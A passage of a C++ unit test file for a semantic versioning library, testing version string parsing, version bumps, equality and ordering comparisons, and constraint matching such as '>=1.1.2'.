EXPECT_EQ(GET_SEMVER("1.1.2+meta-valid"sv).to_string(), GET_STRING("1.1.2+meta-valid"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha"sv).to_string(), GET_STRING("1.0.0-alpha"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-beta"sv).to_string(), GET_STRING("1.0.0-beta"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.beta"sv).to_string(), GET_STRING("1.0.0-alpha.beta"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.beta.1"sv).to_string(), GET_STRING("1.0.0-alpha.beta.1"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.1"sv).to_string(), GET_STRING("1.0.0-alpha.1"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha0.valid"sv).to_string(), GET_STRING("1.0.0-alpha0.valid"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.0valid"sv).to_string(), GET_STRING("1.0.0-alpha.0valid"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-rc.1+build.1"sv).to_string(), GET_STRING("1.0.0-rc.1+build.1"sv));
EXPECT_EQ(GET_SEMVER("2.0.0-rc.1+build.123"sv).to_string(), GET_STRING("2.0.0-rc.1+build.123"sv));
EXPECT_EQ(GET_SEMVER("1.2.3-beta"sv).to_string(), GET_STRING("1.2.3-beta"sv));
EXPECT_EQ(GET_SEMVER("10.2.3-DEV-SNAPSHOT"sv).to_string(), GET_STRING("10.2.3-DEV-SNAPSHOT"sv));
EXPECT_EQ(GET_SEMVER("1.2.3-SNAPSHOT-123"sv).to_string(), GET_STRING("1.2.3-SNAPSHOT-123"sv));
EXPECT_EQ(GET_SEMVER("1.0.0"sv).to_string(), GET_STRING("1.0.0"sv));
EXPECT_EQ(GET_SEMVER("2.0.0"sv).to_string(), GET_STRING("2.0.0"sv));
EXPECT_EQ(GET_SEMVER("1.1.7"sv).to_string(), GET_STRING("1.1.7"sv));
EXPECT_EQ(GET_SEMVER("2.0.0+build.1848"sv).to_string(), GET_STRING("2.0.0+build.1848"sv));
EXPECT_EQ(GET_SEMVER("2.0.1-alpha.1227"sv).to_string(), GET_STRING("2.0.1-alpha.1227"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha+beta"sv).to_string(), GET_STRING("1.0.0-alpha+beta"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay"sv).to_string(), GET_STRING("1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay"sv));
EXPECT_EQ(GET_SEMVER("1.2.3----RC-SNAPSHOT.12.9.1--.12+788"sv).to_string(), GET_STRING("1.2.3----RC-SNAPSHOT.12.9.1--.12+788"sv));
EXPECT_EQ(GET_SEMVER("1.2.3----RC-SNAPSHOT.12.9.1--"sv).to_string(), GET_STRING("1.2.3----RC-SNAPSHOT.12.9.1--"sv));
EXPECT_EQ(GET_SEMVER("1.2.3----R-S.12.9.1--.12+meta"sv).to_string(), GET_STRING("1.2.3----R-S.12.9.1--.12+meta"sv));
EXPECT_EQ(GET_SEMVER("1.2.3----RC-SNAPSHOT.12.9.1--.12"sv).to_string(), GET_STRING("1.2.3----RC-SNAPSHOT.12.9.1--.12"sv));
EXPECT_EQ(GET_SEMVER("1.0.0+0.build.1-rc.10000aaa-kk-0.1"sv).to_string(), GET_STRING("1.0.0+0.build.1-rc.10000aaa-kk-0.1"sv));
EXPECT_EQ(GET_SEMVER("1.0.0-0A.is.legal"sv).to_string(), GET_STRING("1.0.0-0A.is.legal"sv));
}
TEST_CASE(normal_bump) // NOLINT(readability-function-cognitive-complexity)
{
auto version = GET_SEMVER("1.1.2-prerelease+meta"sv);
// normal bumps
auto major_bump = version.bump(SemVer::BumpType::Major);
EXPECT_EQ(major_bump.major(), version.major() + 1);
EXPECT_EQ(major_bump.minor(), 0ul);
EXPECT_EQ(major_bump.patch(), 0ul);
EXPECT(major_bump.suffix().is_empty());
auto minor_bump = version.bump(SemVer::BumpType::Minor);
EXPECT_EQ(minor_bump.major(), version.major());
EXPECT_EQ(minor_bump.minor(), version.minor() + 1);
EXPECT_EQ(minor_bump.patch(), 0ul);
EXPECT(minor_bump.suffix().is_empty());
auto patch_bump = version.bump(SemVer::BumpType::Patch);
EXPECT_EQ(patch_bump.major(), version.major());
EXPECT_EQ(patch_bump.minor(), version.minor());
EXPECT_EQ(patch_bump.patch(), version.patch() + 1);
EXPECT(minor_bump.suffix().is_empty());
}
TEST_CASE(prerelease_bump_increment_numeric)
{
auto version = GET_SEMVER("1.1.2-0"sv);
auto prerelease_bump = version.bump(SemVer::BumpType::Prerelease);
EXPECT_EQ(prerelease_bump.major(), version.major());
EXPECT_EQ(prerelease_bump.minor(), version.minor());
EXPECT_EQ(prerelease_bump.patch(), version.patch());
EXPECT_NE(prerelease_bump.prerelease(), version.prerelease());
EXPECT(prerelease_bump.build_metadata().is_empty());
auto version_prerelease_parts = version.prerelease_identifiers();
auto bumped_prerelease_parts = prerelease_bump.prerelease_identifiers();
EXPECT_EQ(bumped_prerelease_parts.size(), version_prerelease_parts.size());
EXPECT_EQ(bumped_prerelease_parts[0], "1"_string);
}
TEST_CASE(prerelease_bump_rightmost_numeric_part)
{
auto version = GET_SEMVER("1.1.2-a.1.0.c"sv);
auto prerelease_bump = version.bump(SemVer::BumpType::Prerelease);
EXPECT_EQ(prerelease_bump.major(), version.major());
EXPECT_EQ(prerelease_bump.minor(), version.minor());
EXPECT_EQ(prerelease_bump.patch(), version.patch());
EXPECT_NE(prerelease_bump.prerelease(), version.prerelease());
EXPECT(prerelease_bump.build_metadata().is_empty());
auto version_prerelease_parts = version.prerelease_identifiers();
auto bumped_prerelease_parts = prerelease_bump.prerelease_identifiers();
EXPECT_EQ(bumped_prerelease_parts.size(), version_prerelease_parts.size());
EXPECT_EQ(bumped_prerelease_parts[2], "1"_string);
}
TEST_CASE(prerelease_bump_add_zero_if_no_numeric)
{
auto version = GET_SEMVER("1.1.2-only.strings"sv);
auto prerelease_bump = version.bump(SemVer::BumpType::Prerelease);
EXPECT_EQ(prerelease_bump.major(), version.major());
EXPECT_EQ(prerelease_bump.minor(), version.minor());
EXPECT_EQ(prerelease_bump.patch(), version.patch());
EXPECT_NE(prerelease_bump.prerelease(), version.prerelease());
EXPECT(prerelease_bump.build_metadata().is_empty());
auto version_prerelease_parts = version.prerelease_identifiers();
auto bumped_prerelease_parts = prerelease_bump.prerelease_identifiers();
EXPECT(bumped_prerelease_parts.size() > version_prerelease_parts.size());
EXPECT_EQ(bumped_prerelease_parts[2], "0"_string);
}
TEST_CASE(is_same) // NOLINT(readability-function-cognitive-complexity)
{
// exact match
EXPECT(IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.1.2-prerelease+meta"sv, SemVer::CompareType::Exact));
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.1.3-prerelease+meta"sv, SemVer::CompareType::Exact));
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.2.2-prerelease+meta"sv, SemVer::CompareType::Exact));
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "2.1.2-prerelease+meta"sv, SemVer::CompareType::Exact));
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.1.3-someother"sv, SemVer::CompareType::Exact));
// major part match
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.2"sv, SemVer::CompareType::Major));
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Major));
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.3"sv, SemVer::CompareType::Major));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Major));
// minor part match
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.2"sv, SemVer::CompareType::Minor));
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.3"sv, SemVer::CompareType::Minor));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Minor));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Minor));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.2.2"sv, SemVer::CompareType::Minor));
// patch part match
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.2"sv, SemVer::CompareType::Patch));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.1.3"sv, SemVer::CompareType::Patch));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Patch));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Patch));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Patch));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Patch));
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.2.2"sv, SemVer::CompareType::Patch));
}
TEST_CASE(is_greater_than) // NOLINT(readability-function-cognitive-complexity)
{
// Just normal versions
EXPECT(IS_GREATER_THAN_SCENARIO("1.1.3"sv, "1.1.2"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("1.2.2"sv, "1.1.2"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("2.1.2"sv, "1.1.2"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("2.1.3"sv, "1.1.2"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("1.2.3"sv, "1.1.2"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("1.2.2"sv, "1.1.2"sv));
EXPECT(!IS_GREATER_THAN_SCENARIO("1.1.2"sv, "1.1.2"sv));
// Basic, imbalanced prereleased testing
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-alpha"sv, "1.0.0-alpha"sv));
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-alpha"sv, "1.0.0"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0"sv, "1.0.0-0"sv));
// Both versions have more than one identifiers
// 1. All numeric
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.1.2"sv, "1.0.0-0.1.1"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.2.0"sv, "1.0.0-0.1.2"sv));
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-0.1.2"sv, "1.0.0-0.1.2"sv));
// 2. For non-numeric, lexical compare
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-beta"sv, "1.0.0-alpha"sv));
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.beta"sv, "1.0.0-0.alpha"sv));
// 3. Either one is numeric, but not both, then numeric given low precedence
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.alpha"sv, "1.0.0-0.0"sv));
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-0.0"sv, "1.0.0-0.alpha"sv));
// 4. Prefix identifiers are same, larger has high precedence
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-alpha.beta.gamma"sv, "1.0.0-alpha"sv));
}
TEST_CASE(is_lesser_than) // NOLINT(readability-function-cognitive-complexity)
{
// This function depends on is_greater_than, so basic testing is OK
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.1.3"sv));
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.2.2"sv));
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "2.1.2"sv));
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "2.1.3"sv));
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.2.3"sv));
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.2.2"sv));
EXPECT(!IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.1.2"sv));
}
TEST_CASE(satisfies) // NOLINT(readability-function-cognitive-complexity)
{
auto version = GET_SEMVER("1.1.2-prerelease+meta"sv);
EXPECT(version.satisfies("1.1.2-prerelease+meta"sv));
EXPECT(!version.satisfies("1.2.2-prerelease+meta"sv));
EXPECT(!version.satisfies("!=1.1.2-prerelease+meta"sv));
EXPECT(version.satisfies("!=1.2.2-prerelease+meta"sv));
EXPECT(version.satisfies("=1.1.2"sv));
EXPECT(version.satisfies("=1.1.2-prerelease+meta"sv));
EXPECT(!version.satisfies("=1.1.3"sv));
EXPECT(!version.satisfies("==1.1.3-prerelease+meta"sv));
EXPECT(version.satisfies("==1.1.2-prerelease"sv));
EXPECT(version.satisfies("==1.1.2-prerelease+meta"sv));
EXPECT(!version.satisfies("<1.1.1-prerelease+meta"sv));
EXPECT(!version.satisfies("<1.1.2-prerelease+meta"sv));
EXPECT(version.satisfies("<1.1.3-prerelease+meta"sv));
EXPECT(version.satisfies(">1.1.1-prerelease+meta"sv));
EXPECT(!version.satisfies(">1.1.2-prerelease+meta"sv));
EXPECT(!version.satisfies(">1.1.3-prerelease+meta"sv));
EXPECT(version.satisfies(">=1.1.1-prerelease+meta"sv));
EXPECT(version.satisfies(">=1.1.2-prerelease+meta"sv));
EXPECT(!version.satisfies(">=1.1.3-prerelease+meta"sv));
EXPECT(!version.satisfies("<=1.1.1-prerelease+meta"sv));
EXPECT(version.satisfies("<=1.1.2-prerelease+meta"sv));
EXPECT(version.satisfies("<=1.1.3-prerelease+meta"sv));
EXPECT(!version.satisfies("HELLO1.1.2-prerelease+meta"sv));
}